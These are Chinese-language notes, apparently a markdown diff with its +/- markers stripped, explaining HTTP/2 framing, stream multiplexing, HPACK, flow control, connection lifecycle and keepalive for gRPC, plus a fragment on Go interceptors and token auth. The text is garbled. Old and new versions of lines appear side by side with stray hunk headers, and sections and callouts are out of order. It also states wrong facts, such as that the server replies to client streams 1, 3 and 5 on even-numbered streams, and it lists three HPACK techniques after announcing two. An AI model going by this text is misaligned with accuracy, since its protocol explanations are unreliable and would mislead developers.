| HEADERS | 0x1 | 头信息(含 HTTP/2 header block) | HTTP headers + gRPC metadata |
| PRIORITY | 0x2 | 设置 stream 优先级 | gRPC 不使用 |
| RST_STREAM | 0x3 | 异常终止 | Client/Server 主动中断流 |
| SETTINGS | 0x4 | 协商参数 | 握手阶段交换 max_concurrent_streams 等 |
| PUSH_PROMISE | 0x5 | 服务器推送 | gRPC 不使用 |
| PING | 0x6 | 保活探测 | keepalive ping |
| GOAWAY | 0x7 | 优雅关闭 | Server 准备停机 |
| WINDOW_UPDATE | 0x8 | 流量控制 | 调整接收窗口大小 |
| CONTINUATION | 0x9 | 续传 header block | 头部太长时的分片传输 |
每个 frame 的结构固定为 9 字节头部 + 有效载荷:
```
+-----------------------------------------------+
| Length (24 bits) |
+---------------+---------------+---------------+
| Type (8 bits) | R(1 bit) | Stream ID(31 bits) |
+---------------+---------------+---------------+
| Payload (... bytes) |
+-----------------------------------------------+
```
- **Length**: payload 长度,最大 2^24 - 1 ≈ 16MB
- **Type**: frame 类型(上述表格中的 Type Code)
- **R**: reserved bit,必须为 0
- **Stream ID**: 所属 stream 的 ID,0 表示 connection-level frame
- **Payload**: 随类型不同含义各异
```mermaid
flowchart TB
subgraph Connection ["HTTP/2 Connection"]
direction TB
Streams --> S1["Stream 1<br/>HEADERS → DATA → HEADERS → DATA"]
Streams --> S2["Stream 2<br/>HEADERS → DATA"]
Streams --> SN["Stream N<br/>HEADERS → DATA"]
end
ConnLevel -.-> Settings["SETTINGS / PING / GOAWAY<br/>(Stream ID = 0)"]
style ConnLevel fill:#A0AEC0,color:#fff
style Settings fill:#ED8936,color:#fff
style S1 fill:#00B6BC,color:#fff
style S2 fill:#4FC08D,color:#fff
style SN fill:#FFD43B
```
**关键概念:**
- 每个 connection 上有多个 stream,每个 stream 独立收发 data
- 所有的 frame 都属于某个 stream(除了 connection-level 的 SETTINGS/GOAWAY/PING/WINDOW_UPDATE)
- gRPC 只用了其中一小部分 frame 类型——它把复杂的 protocol 封装在了内部
## Stream 与 Multiplexing
这是 HTTP/2 最重要的特性,也是 gRPC 高性能的核心原因。
**机制:**
- 一个 TCP 连接上可以有多个 stream
- 每个 stream 有唯一的 stream ID(奇数 = client 发起,偶数 = server 发起,ID 从 1 开始递增)
- stream 之间互不干扰——解决了 HTTP/1.1 的队头阻塞(head-of-line blocking)
### Stream ID 分配规则
```mermaid
flowchart LR
Client["Client"] --- TCP[("TCP Connection")]
TCP --- Server["Server"]
subgraph Streams ["Stream IDs"]
S1["1<br/>Client→Server<br/>Unary call"]
S3["3<br/>Client→Server<br/>Another call"]
S5["5<br/>Client→Server<br/>Streaming"]
S2["2<br/>Server→Client<br/>Response to #1"]
S4["4<br/>Server→Client<br/>Response to #3"]
S6["6<br/>Server→Client<br/>Push error"]
end
Client --> S1
Client --> S3
Client --> S5
Server --> S2
Server --> S4
Server --> S6
style S1 fill:#00B6BC,color:#fff
style S3 fill:#00B6BC,color:#fff
style S5 fill:#00B6BC,color:#fff
style S2 fill:#4FC08D,color:#fff
style S4 fill:#4FC08D,color:#fff
style S6 fill:#4FC08D,color:#fff
```
**要点:**
- Stream ID 严格递增,Client 永远用奇数,Server 永远用偶数
- 即使一个 stream 已经完成(发送了 END_STREAM flag),它的 ID 也不会回收重用
- 理论上单条连接最多可以有 2^31 个 stream(受 Stream ID 字段限制)
### 代码示例
同一个 conn 上可以并发创建多个 stream,无需额外 TCP 连接:
```go
conn, _ := grpc.Dial("localhost:50051", ...) // 只有一个 TCP 连接
client := pb.NewUserServiceClient(conn)
// 这三个 call 在同一个连接的不同 stream 上并行执行
go client.GetUser(ctx1, &pb.GetUserRequest{Id: 1}) // → Stream 1
go client.GetUser(ctx2, &pb.GetUserRequest{Id: 2}) // → Stream 3
go client.GetUser(ctx3, &pb.GetUserRequest{Id: 3}) // → Stream 5
```
## HPACK 头部压缩
HTTP/2 使用 HPACK 算法对头部进行压缩,主要靠两个手段:
1. **静态字典** — RFC 预定义了 61 个常用 header(如 `:method`, `:path`, `content-type`),直接通过索引引用
2. **动态表** — 运行时新增的 key-value 对会被缓存,后续请求只需引用索引号
3. **Huffman 编码** — 对无法查表的字符串做变长编码
gRPC 强制要求 hpack table size >= 4096 bytes。好处是 gRPC 的请求头部通常只有几十个字节,相比 HTTP/1.1 每次都要带完整的 User-Agent/Content-Type 等大很多倍。
```mermaid
flowchart LR
A["原始 Header:<br/>:method=POST<br/>:path=/user.v1.UserService/CreateUser<br/>content-type=application/grpc<br/>grpc-timeout=30s"] --> B["HPACK Encoder"]
B -->|"索引引用"| D[":method → :POST (static table idx 2)"]
B -->|"动态表插入"| E[":path → full string<br/>(dynamic table idx 1)"]
B -->|"Huffman 编码"| F["grpc-timeout=30s<br/>(Huffman: 5 bytes)"]
D --> G["Header Block Fragment<br/>(~15 bytes)"]
E --> G
F --> G
style A fill:#FFD43B
style B fill:#00B6BC,color:#fff
style G fill:#4FC08D,color:#fff
```
> [!example] HPACK 的实际压缩效果
>
> [!tip] 完整流程一览
> ```
> // HTTP/1.1 头部(每次完整发送,约 200+ bytes)
> POST /user.v1.UserService/CreateUser HTTP/1.1
> Host: localhost:50051
> Content-Type: application/grpc
> Grpc-Timeout: 30s
> User-Agent: grpc-go/1.50.0
> Te: trailers
>
> // HTTP/2 + HPACK(连续多次调用,压缩后可能只剩十几字节)
> HEADERS: {idx 2} {dynamic-table: :path=/user.v1.UserService/CreateUser} {huffman: 30s}
> DATA: <protobuf payload>
> Step 1 : TCP 三次握手 —— 建道路
> Step 2 : TLS + ALPN —— 确认都说 h2
> Step 3 : HTTP/2 Preface —— 正式确认,交换参数
> Step 4 : 🚀 开始通信
> ```
>
> 注意第二次调用时,`:method=POST` 和 `content-type=application/grpc` 都可以直接从 static table 引用——不需要再发送这些字符串。
## Flow Control 流量控制
---
HTTP/2 有两层 flow control,各自独立工作:
## 什么是 Frame 和 Stream?
| 层级 | 范围 | 默认窗口 | 控制方式 |
|------|------|----------|----------|
| Connection Level | 整个 TCP 连接 | 65535 bytes | WINDOW_UPDATE frame |
| Stream Level | 单个 stream | 继承 connection level | WINDOW_UPDATE frame |
这是 HTTP/2 最核心的两个概念,理解了它们就理解了 gRPC 的工作方式。
当接收方缓冲区快满时,发送方会收到 WINDOW_UPDATE 被"堵住"——这就是 HTTP/2 的 **backpressure**。gRPC 在此基础上又加了一层自己的 flow control:
### Frame(帧)— 最小传输单元
| gRPC 配置项 | 说明 | 默认值 |
|-------------|------|--------|
| `MaxReceiveMessageSize` | 单次可接收的最大消息 | **4 MB** |
| `MaxSendMessageSize` | 单次可发送的最大消息 | math.MaxInt32 |
HTTP/2 的二进制世界里,所有数据都以 frame 为单位传输。每个 frame 的结构非常固定:
> [!warning] 这是一个常见的坑!
> 当你的 protobuf message 超过 4MB 时,你会看到类似这样的错误:
```
┌───────────────────────┬──────────────┬──────────────────┐
│ Length (24 bits) │ Type(8bit) │ R + StreamID(31) │ ← 9 字节的表头
├───────────────────────┴──────────────┴──────────────────┤
│ Payload (实际数据) │
└─────────────────────────────────────────────────────────┘
```
五个字段的意思:
| 字段 | 含义 | 备注 |
|------|------|------|
| **Length** | Payload 有多长 | 最大约 16MB |
| **Type** | 这个帧是什么类型 | 见下表 |
| **R** | 保留位 | 始终为 0 |
| **Stream ID** | 属于哪条流 | 0 表示这条帧不属于任何流(属于整条连接) |
| **Payload** | 数据内容 | 由 Type 决定含义 |
常见的帧类型有哪些?
| 帧类型 | Type Code | 什么时候用到 |
|--------|-----------|-------------|
| **DATA** | 0x0 | 传输实际的请求/响应数据 |
| **HEADERS** | 0x1 | 携带 HTTP 头和 gRPC 元数据 |
| **SETTINGS** | 0x4 | 握手阶段交换配置参数 |
| **PING** | 0x6 | 保活探测(判断连接是否还活着) |
| **WINDOW_UPDATE** | 0x8 | 流量控制(调整接收窗口) |
| **GOAWAY** | 0x7 | 优雅关闭("这条连接以后不能再建新流了") |
| **RST_STREAM** | 0x3 | 异常中断某个特定的流 |
gRPC 实际上只用了其中一小部分——复杂的细节都被封装在内部了。
### Stream(流)— 一条逻辑通道
**Stream 是一趟完整的请求-响应旅程。** 每条流有唯一编号,规则很简单:
| 谁发起 | Stream ID | 举例 |
|--------|-----------|------|
| 客户端 | **奇数** | 1, 3, 5, 7… |
| 服务端 | **偶数** | 2, 4, 6, 8… |
| 起始值 | **1** | 第一条流永远是 Stream 1 |
| 用完之后 | **不复用** | 即使流已结束,ID 也不会回收 |
### Multiplexing(多路复用)— 一条连接干 N 份活
这才是重点。**一条 TCP 连接上可以同时存在多个 Stream,它们的帧交错着在网络中传输。**
以 HTTP/1.1 的方式同时查三个用户,需要三个 TCP 连接,串行执行:
```
连接 1: ━━[UserA 请求]━━[UserA 响应]━━⏱等待━━[UserB 请求]━━[UserB 响应]━━...
连接 2: ━━[UserB 请求]━━[UserB 响应]━━
连接 3: ━━[UserC 请求]━━[UserC 响应]━━
总耗时 = A + B + C (串行加起来)
```
HTTP/2 只需要一个连接,三个 Stream 并行:
```
Stream 1(UserA): ━REQUEST_A━━RESPONSE_A━
Stream 3(UserB): ━REQUEST_B━━RESPONSE_B━
Stream 5(UserC): ━REQUEST_C━━RESPONSE_C━
(同一个 TCP 连接内交错发送)
总耗时 ≈ max(A, B, C) (并行取最大值)
```
那接收方怎么知道收到的帧属于哪个请求?靠的就是 **Stream ID**。
具体过程:
```
客户端发出请求的帧按这个顺序传过去:
S1_HEADERS → S3_HEADERS → S5_HEADERS → S1_DATA → S3_DATA → S5_DATA
服务端收到后,根据 Stream ID 重新组装:
Stream 1:S1_HEADERS + S1_DATA → "这是查 UserA 的请求"
Stream 3:S3_HEADERS + S3_DATA → "这是查 UserB 的请求"
Stream 5:S5_HEADERS + S5_DATA → "这是查 UserC 的请求"
服务端响应时走对应的偶数 Stream:
S2 回给 Stream 1(UserA 的响应)
S4 回给 Stream 3(UserB 的响应)
S6 回给 Stream 5(UserC 的响应)
客户端收到后照样按 Stream ID 匹配回来就行。
```
> [!note] 一句话总结
> Stream 就像是高速公路上的车道,Frame 就是在车道上跑的车。多条车道的车可以并行前进,收费站(接收方)只要看车牌号(Stream ID)就知道把这辆车分到哪个车位去。
---
## HPACK:头部为什么要压缩?
HTTP/1.1 有个缺点:**每个请求都得附带完整的 header**,而且这些 header 绝大部分内容是重复的:
```http
// 第 1 次请求,约 200+ 字节
POST /user.v1.UserService/CreateUser HTTP/1.1
Host: localhost:50051
Content-Type: application/grpc
Grpc-Timeout: 30s
User-Agent: grpc-go/1.50.0
Te: trailers
// 第 2 次请求,又发了一遍一模一样的东西
POST /user.v1.UserService/CreateUser HTTP/1.1
Host: localhost:50051
Content-Type: application/grpc
Grpc-Timeout: 30s
User-Agent: grpc-go/1.50.0
Te: trailers
```
同一个服务,几百个请求,`Host`、`Content-Type`、`User-Agent` 每次都原封不动地再发一遍——白白浪费带宽。
### HTTP/2 的做法:共享词典
HPACK 的核心思想是:**客户端和服务端各维护一份相同的字典,只传索引号,不传原文。**
这个字典有两个来源:
1. **静态字典** — RFC 标准预定义了 61 个常用 header 的映射关系。比如 `:method` 对应索引号 2,`content-type` 对应另一个固定索引号。双方都内置这份字典,不需要额外同步。
2. **动态字典** — 运行过程中遇到新出现的 key-value 对,两边各自存下来,后续请求直接引用。
第一次请求还是要发完整内容的(顺便把新条目加入动态字典):
```
:method = POST → 查静态字典 → 找到索引号 2 → 发 {idx 2}
:path = /user.v1... → 不在字典里 → 存进动态表 + 发完整路径
content-type = ... → 查静态字典 → 找到索引号 → 发 {idx ?}
grpc-timeout = 30s → Huffman 编码后只占 5 字节
```
第二次请求就轻松了——`:method`、`content-type` 都在静态字典里,直接报索引号就行,一个字都不用多传。
### 压缩效果
| 版本 | 单次请求头部大小 | 说明 |
|------|------------------|------|
| HTTP/1.1 | ~200 bytes | 每次都原样发送 |
| HTTP/2 + HPACK(首次) | ~50 bytes | 新条目要多发一点 |
| HTTP/2 + HPACK(后续) | 10~20 bytes | 大部分都能索引到 |
> [!tip] 为什么 gRPC 强制要求 hpack table size >= 4096?
> gRPC 的请求头部大部分是固定的(`:method`, `:path`, `content-type`, `grpc-timeout`),非常适合缓存。table 越大,命中率越高,压缩效果越好。
---
## Flow Control:谁来管流量?
这里有一个容易混淆的点——**HTTP/2 自带一层流量控制,gRPC 又叠加了一层**,它们分工不同:
| 层级 | 管什么 | 默认值 | 失控会怎样 |
|------|--------|--------|------------|
| **HTTP/2 Window** | 网络缓冲区(TCP 队列) | 65535 bytes | 缓冲区满时发送方被 backpressure 堵住,表现为超时 |
| **gRPC Message Size** | 应用层内存(unmarshal 用的堆空间) | **4 MB** | proto message 超过限制时报 `message larger than max` |
类比一下:
- **HTTP/2 Window** 像是门口通道的宽度——太宽了接不住,得慢慢放
- **gRPC Message Size** 像是仓库的容量——货到了太多放不下,会 OOM
两层都配好才算真正的安全。
> [!warning] 踩坑指南
> 你的 protobuf message 超过 4MB 时会报错:
> ```
> grpc: received message larger than max (5242880 vs 4194304) on XXX
> grpc: received message larger than max (5242880 vs 4194304)
> ```
> 修复方式:在 dial 或 server 选项中设置更大的 limit。
> 解决:调大 `MaxCallRecvMsgSize`,但别设为无上限——小心被恶意巨型 payload 打爆内存。
> ```go
> grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(10*1024*1024))
> grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(10*1024*1024)) // 10MB
> ```
> 注意:这里设置的单位是 bytes。设太大也有风险——对方可能发一个巨型 payload 打爆你的内存。
### 与 HTTP/2 Flow Control 的关系
---
很多人会把两层 flow control 混淆。简单理解:
- **HTTP/2 Window** 管的是「网络缓冲区」——防止发送方压垮接收方的 TCP 队列
- **gRPC Message Size** 管的是「应用层内存」——防止 protobuf unmarshal 时 OOM
两层都配好了才是真正的安全。
> [!tip] 调优建议
> - HTTP/2 Window:大多数场景不需要手动改,除非出现大量 WINDOW_UPDATE 延迟
> - MaxReceiveMessageSize:按业务需要设定,但不要设为无上限;配合上游 LB 的 payload limit 一起考虑
## 连接生命周期
## 连接的生命周期
```mermaid
stateDiagram-v2
@@ -299,20 +276,18 @@ stateDiagram-v2
Idle --> Connecting: TCP connect
Connecting --> Connected: OK
Connecting --> ErrorFailed: Failed
ErrorFailed --> Closed
Connected --> TLSEncrypted: TLS + ALPN (if secure)
Connected --> Plaintext: Insecure mode
TLSEncrypted --> SettingsSent: Send HTTP/2 Preface + SETTINGS
Plaintext --> SettingsSent: Send HTTP/2 Preface + SETTINGS
TLSEncrypted --> SettingsSent: Send Preface + SETTINGS
Plaintext --> SettingsSent: Send Preface + SETTINGS
SettingsSent --> Ready: Receive SETTINGS ACK
SettingsSent --> ErrorSettingsTimeout: Timeout
ErrorSettingsTimeout --> Closed
Ready --> Active: Create Streams
Active --> HalfClose: Stream done (END_STREAM)
Active --> HalfClose: Stream done
HalfClose --> GoAwayReceived: Server sends GOAWAY
GoAwayReceived --> DrainPending: Wait for active streams
DrainPending --> Closed: All pending done
@@ -325,154 +300,102 @@ stateDiagram-v2
}
note right of ErrorFailed
DNS 解析失败
TCP connect timeout
DNS 解析失败 /
TCP connect timeout /
TLS cert invalid
end note
note right of ErrorSettingsTimeout
对方未在规定时间内
回复 SETTINGS ACK
对方未在规定时间回复
SETTINGS ACK
end note
```
**各阶段要点:**
各阶段的关键点:
1. **Connecting** — TCP 三次握手。如果目标地址不可达或被防火墙拦截,会在这里报 `connection refused`
2. **TLS + ALPN** — 对于 secure 连接,先用 TLS 加密并协商出 `h2` 协议。证书过期或 host mismatch 会在这一步失败
3. **Settings exchange** — 双方交换 window size、max concurrent streams 等参数。这是 HTTP/2 的正式握手点
4. **Ready** — 可以开始创建 stream 了
5. **Active** — 正常业务阶段,stream 可随时创建和销毁
6. **GOAWAY** — 服务端通知即将关闭(如滚动重启)。已创建的 stream 还能继续完成,新 stream 不能再用这条连接
7. **Closed** — 连接彻底关闭,下次调用时 gRPC 会自动重连(reconnect policy)
1. **Connecting** — TCP 握手。DNS 解析失败、目标不可达都会在这步挂掉。
2. **TLS + ALPN** — 证书过期或域名不匹配在这一步被发现。
3. **Settings exchange** — 双方交换 window size、max concurrent streams 等参数。正式握手点。
4. **Ready** — 握手完成,可以创建 Stream 了。
5. **Active** — 正常干活阶段,随时创建和销毁 Stream。
6. **GOAWAY** — 服务端要停机重启了,通知"这条连接不再接受新请求",但已经创建的请求还能继续完成。
7. **Closed** — 连接彻底断开。gRPC 会自动重连(reconnect policy)。
> [!note] GOAWAY vs RST_STREAM 的区别
> - **GOAWAY**: connection-level,告诉对方"这条连接以后不能新建 stream 了",属于优雅关闭
> - **RST_STREAM**: stream-level,仅终止单个 stream,不影响同连接上的其他 stream
> [!note] GOAWAY vs RST_STREAM
> - **GOAWAY**:连接级别的。"这条连接以后不能建新流了" → 优雅关闭
> - **RST_STREAM**:流级别的。"这个流坏了,断了" → 不影响同连接上的其他流
---
## 对开发者的实际影响
### 1. 连接数管理
### 1. 不需要手动建连接池
不需要手动连接池。gRPC 的 `grpc.ClientConn` 已经做了连接复用和自动重建:
HTTP/1.1 时代开发者习惯手动维护连接池。但在 gRPC 里一个 `Dial` 就够了——内部的连接管理器会自动处理复用和重连。
```go
// 一个 conn 对象就够了,内部自动管理连接数和重连
conn, _ := grpc.Dial("target", grpc.WithTransportCredentials(...))
// 所有 client share this conn
client1 := pb.NewService1Client(conn)
client2 := pb.NewService2Client(conn)
// 所有 client 共享这个 conn,底层自动管理
```
> [!tip] 连接池误区
> 很多从 HTTP/1.1 转过来的开发者会习惯性建连接池。但在 gRPC 里一个 `Dial` 就够——gRPC 内部维护了一个连接管理器,会根据负载情况自动增减连接。
### 2. Keepalive 必须配置
### 2. Keepalive 配置
生产环境务必调优 keepalive 参数,否则可能被负载均衡器或 K8s ingress 切断连接:
生产环境不配 keepalive,负载均衡器或 K8s ingress 会认为你的连接是空闲的然后直接杀掉。
```go
grpc.WithKeepaliveParams(keepalive.ClientParameters{
Time: 10 * time.Second,
Timeout: 5 * time.Second,
PermitWithoutStream: true, // 即使没有 active stream 也发 ping
})
grpc.KeepaliveParams(keepalive.ServerParameters{
Time: 10 * time.Second, // PING 间隔
Timeout: 20 * time.Second, // 无响应则断开
PermitWithoutStream: true, // ★ 关键:即使没有活跃请求也发 ping
})
```
> [!warning] PermitWithoutStream 的作用
> 当这个值为 false 时(默认),如果当前没有任何活跃的 RPC(比如空闲等待期),gRPC 不会发 keepalive ping——此时中间设备恰好会杀掉空闲连接。生产环境建议设为 true。
生产环境的推荐配置取决于你的中间件策略:
推荐配置取决于你的中间件策略:
| 组件 | 典型 idle timeout | 建议 keepalive Time |
|------|-------------------|---------------------|
| AWS ALB | 60s | 25s |
| Nginx proxy_pass | 75s (proxy_read_timeout) | 30s |
| K8s kube-proxy (iptables) | 根据 conntrack | 25s |
| Cloud Load Balancer | varies | 20–30s |
| Nginx proxy_pass | 75s | 30s |
| K8s kube-proxy | 根据 conntrack | 25s |
### 3. MaxMessageSize
> [!warning] `PermitWithoutStream` 为什么重要?
> 默认值是 `false`。当没有活跃 RPC 时(比如两次调用之间的等待期),gRPC **不会**发 keepalive ping。恰好此时中间设备判断连接空闲,直接把 TCP 连接断掉了——下次调用就报 `connection reset`。设成 `true` 就能保住连接。
遇到 `"message too large"` 错误时,第一反应应该是检查这个限制,而不是怀疑代码逻辑。
### 3. 遇到错误时的排查思路
### 4. 调试技巧
| 现象 | 可能的原因 | 第一反应检查什么 |
|------|-----------|----------------|
| 偶发 `DEADLINE_EXCEEDED` | HTTP/2 Window 满了被 backpressure 堵住 | Wireshark 看 WINDOW_UPDATE 延迟 |
| 连接间歇性断开 | Keepalive 没开,LB 杀了空闲连接 | 检查 `PermitWithoutStream` |
| `"message larger than max"` | Proto message 超过 4MB | 调大 `MaxCallRecvMsgSize` |
| `PROTOCOL_ERROR` | 中间代理篡改了 frame | 检查 Nginx / Envoy 是否启用了 `http2` |
| 某个流卡住不报错 | Server handler 阻塞或未回写 | `GRPC_TRACE=stream,transport` |
| 工具 | 用途 | 常用命令 |
|------|------|----------|
| `grpcurl` | CLI 工具,支持直接调用 gRPC 方法 | `grpcurl -plaintext -d '{"id": 42}' localhost:50051 user.v1.UserService.GetUser` |
| `nghttp` | HTTP/2 抓包分析,能看到 frame 级别细节 | `nghttp -v http://localhost:50051` |
| Wireshark | 原始帧级别的诊断 | filter: `tcp.port == 50051 && http2` |
| `GRPC_VERBOSITY=DEBUG GRPC_TRACE=all` | Go 内置的 verbose trace,打印内部事件 | `export GRPC_VERBOSITY=DEBUG && export GRPC_TRACE=http2,transport,subchannel` |
### 4. 常用调试工具
```bash
# 快速测试一个 gRPC endpoint
grpcurl -plaintext -d '{"id": 42}' localhost:50051 user.v1.UserService.GetUser
# 查看服务提供的全部方法
# 查看服务提供了哪些方法
grpcurl -plaintext localhost:50051 list
# 查看某个 service 的详细定义
# 查看某个 Service 的详细接口定义
grpcurl -plaintext localhost:50051 describe user.v1.UserService
# 看 frame 级别的网络细节
nghttp -v http://localhost:50051
# Wireshark 过滤 gRPC 流量
tcp.port == 50051 && http2
# Go 内置 debug 日志
GRPC_VERBOSITY=DEBUG GRPC_TRACE=http2,transport,subchannel ./your-app
```
### 5. 常见问题排查速查表
| 现象 | 可能原因 | 排查方向 |
|------|---------|---------|
| 偶发性 `DEADLINE_EXCEEDED` | HTTP/2 Window 满了被 backpressure 堵住 | Wireshark 看 WINDOW_UPDATE 延迟 |
| 连接间歇性断开 | Keepalive 没开或时间太长,LB 杀了空闲连接 | 检查 `PermitWithoutStream` 和 LB timeout |
| `"message larger than max"` | Proto message 超过 4MB 限制 | 调大 `MaxCallRecvMsgSize` |
| `PROTOCOL_ERROR` / `INTERNAL` | 中间代理篡改了 HTTP/2 frame | 检查 Nginx / Envoy 配置,确保启用 http2 |
| 某个 stream 卡住但不报错 | Server 端 handler 阻塞或未回写 | 用 `GRPC_TRACE=stream,transport` 定位 |
| DNS 解析慢导致首次调用超时 | gRPC 内置 resolver 异步解析但首次调用不等 | 提前预热连接或用固定 IP |
## 附录:gRPC 协议分层速览
```mermaid
block-beta
columns 1
block:App
columns 1
A1["Protobuf Message<br/>(序列化后的 byte[])"]
end
space
block:GRPC
columns 1
B1["gRPC Frame<br/>(Wire type + Length + Payload)"]
end
space
block:HTTP2
columns 1
C1["DATA Frame"]
C2["HEADERS Frame"]
C3["WINDOW_UPDATE Frame"]
end
space
block:Transport
columns 1
D1["HTTP/2 Stream<br/>(multiplexed over one TCP)"]
end
space
D2["TCP Socket"]
A1 --> B1
B1 --> C1
B1 --> C2
B1 --> C3
C1 --> D1
C2 --> D1
C3 --> D1
D1 --> D2
style A1 fill:#FFD43B
style B1 fill:#00B6BC,color:#fff
style D1 fill:#4FC08D,color:#fff
```
---
## 关联笔记
@@ -1,6 +1,6 @@
---
tags: [gRPC, Interceptor, Middleware, Go]
create time: 2026-05-11 16:00
create time: 2026-05-18 10:00
---
# Unary 与 Stream 拦截器
@@ -61,6 +61,45 @@ type StreamServerInterceptor func(
- 返回的是整条 stream 的错误,不是单个 message 的错误
- 你无法直接修改发送/接收的消息内容
```go
func StreamLoggerInterceptor(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error {
start := time.Now()
err := handler(srv, ss) // 调用实际 stream handler
log.Printf("stream: %s duration=%v err=%v", info.FullMethod, time.Since(start), err)
return err
}
```
Stream 拦截器的核心在于它包裹的是 **整个流的生命周期**——从客户端建立连接到最后一个消息传递完毕。如果你需要在单条消息级别做拦截(比如过滤消息字段),应该使用 gRPC 的 `[Plugin](https://github.com/grpc/grpc-go/tree/master/plugin)` 机制或自定义封装。
### Stream Interceptor 实战:服务端流鉴权
服务端流的鉴权比 Unary 稍复杂,因为 context 需要从 ServerStream 对象中获取:
```go
func StreamAuthInterceptor(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error {
ctx := ss.Context() // ⚠️ 从 ServerStream 提取 ctx
token := extractToken(ctx)
if token == "" {
return status.Error(codes.Unauthenticated, "missing token")
}
return handler(srv, ss) // 校验通过放行
}
```
关键区别对比:
| 维度 | Unary Interceptor | Stream Interceptor |
|------|-------------------|---------------------|
| Context 来源 | `ctx` 参数直接传入 | `ss.Context()` 提取 |
| 返回值 | `(interface{}, error)` | `error`(整条流) |
| 错误粒度 | 单个 RPC 调用 | 整个流生命周期 |
| 消息拦截 | ❌ 不直接可见 | ❌ 不直接可见 |
| 适用场景 | 鉴权、日志、限流 | 流级审计、批量认证 |
> [!warning] Stream 拦截器的常见陷阱
> 在 stream handler 返回后(即最后一个 message 已发送),你无法再修改响应。如果需要流结束后做清理工作(如关闭资源),在 `handler(...)` 之后立即执行即可——它和 Unary 的「后置逻辑」一样自然。
### 客户端拦截器
服务端拦截器处理入站请求,而客户端拦截器包裹出站调用。它们的签名略有不同:
@@ -186,8 +225,13 @@ func RecoveryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryS
}
```
> [!tip] Panic Recovery 必须放最内层
> 如果把 recovery 放在最外侧,它会吞掉其他 interceptor(比如 auth)主动返回的错误——这些错误不是 bug,不该被 recover。所以 recover 应该离 handler 最近,确保只捕获真正的 panic。
> [!tip] 核心要点
> - 将 `handler` 放在 `defer` 之后调用(而非 defer 中),这样 `defer` 块内的 `recover` 才能捕获到 handler 的 panic
> - 如果只 log 不处理,下游业务方法收到的是 nil response + nil error——这通常不理想。生产环境可以返回一个 Internal 错误码或恢复默认值
**为什么 recovery 必须放最内层?**
如果把 recovery 放在最外侧,它会吞掉其他 interceptor(比如 auth)主动返回的错误——这些不是 bug,不该被 recover。所以 recover 应该离 handler 最近,确保只捕获真正的 panic。
### 错误处理规范
@@ -230,29 +274,73 @@ return nil, status.Errorf(codes.InvalidArgument, "invalid email: %v", err)
如果你在追求高性能的可观测性,优先选 StatsHandler;如果需要修改请求/响应或控制执行流程,Interceptor 是唯一选择。
### Context 传递规则
### Context 传递规则(进阶)
Interceptor 中可以向 context 注入信息,下游 handler 可以读取。服务端和客户端都有各自的传递方向:
Interceptor 可以向 context 注入信息(如用户身份、trace ID),下游 handler 通过 `context.Value` 读取。核心原则如下:
| 原则 | 说明 |
|------|------|
| Key 类型专用 | value key 必须定义为不可比较的 struct(如 `ctxKey`),避免包间冲突 |
| 不传敏感数据 | 原始密码、完整 token 等不应放入 context value——解析后的 claims 可以 |
| Chain 中唯一 | 如果上游已注入相同 key 的 value,下游会覆盖它 |
| 避免阻塞 | 不要在 interceptor 中做耗时操作,否则会影响所有下游请求 |
| 超时感知 | 从父 ctx 派生的子 ctx 继承 deadline,chain 中每个步骤应尊重已有超时 |
#### 服务端:从 Metadata 提取身份信息
```go
type ctxKey struct{}
const authMetadataKey = "authorization"
func AuthInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {
token := extractToken(ctx)
claims, _ := jwt.Parse(token)
if token == "" {
return nil, status.Error(codes.Unauthenticated, "missing token")
}
claims, err := jwt.Parse(token)
if err != nil {
return nil, status.Error(codes.Unauthenticated, "invalid token")
}
ctx = context.WithValue(ctx, ctxKey{}, claims)
return handler(ctx, req)
}
func extractToken(ctx context.Context) string {
md, ok := metadata.FromIncomingContext(ctx)
if !ok {
return ""
}
values := md.Get(authMetadataKey)
if len(values) == 0 {
return ""
}
// 常见格式: "Bearer <token>"
token := values[0]
if strings.HasPrefix(token, "Bearer ") {
token = token[7:]
}
return token
}
```
**服务端**:从 incoming metadata 中提取身份信息 → 写入 context → 传给 handler
**客户端**:从 local context 读取 token → 写入 outgoing metadata → 发送给上游
服务端通过 `metadata.FromIncomingContext` 从 incoming 请求中提取 HTTP header(在 gRPC 协议中会被序列化为 metadata key),再写入 context 供下游 handler 使用。
注意事项:
- value key 必须定义为专用不可比较的类型(如上 `ctxKey` struct),避免包间冲突
- 不要在 interceptor 里阻塞或做耗时操作,否则会影响所有下游请求
- context value 不应传递大对象或敏感明文——token 解析后的 claims 可以传,原始密码不行
- 如果上游已经注入了相同 key 的 value,下游会覆盖它——确保 chain 中每个步骤使用唯一 key
#### 客户端:向 Metadata 注入 Token
```go
func WithAuthToken(ctx context.Context, token string) context.Context {
md := metadata.Pairs("authorization", "Bearer "+token)
return metadata.NewOutgoingContext(ctx, md)
}
// 使用时
ctx = WithAuthToken(ctx, myToken)
resp, err := client.GetUser(ctx, &pb.GetUserRequest{Id: "123"})
```
> [!tip] Metadata 大小限制
> gRPC 底层基于 HTTP/2,metadata 总大小默认限制为 8KB。如果超过会报错 `grpc: trying to send message exceeds the limit`。不要将大段信息放在 metadata 中——考虑用 request body 或专门的配置接口。
### 常见 Interceptor 模式总结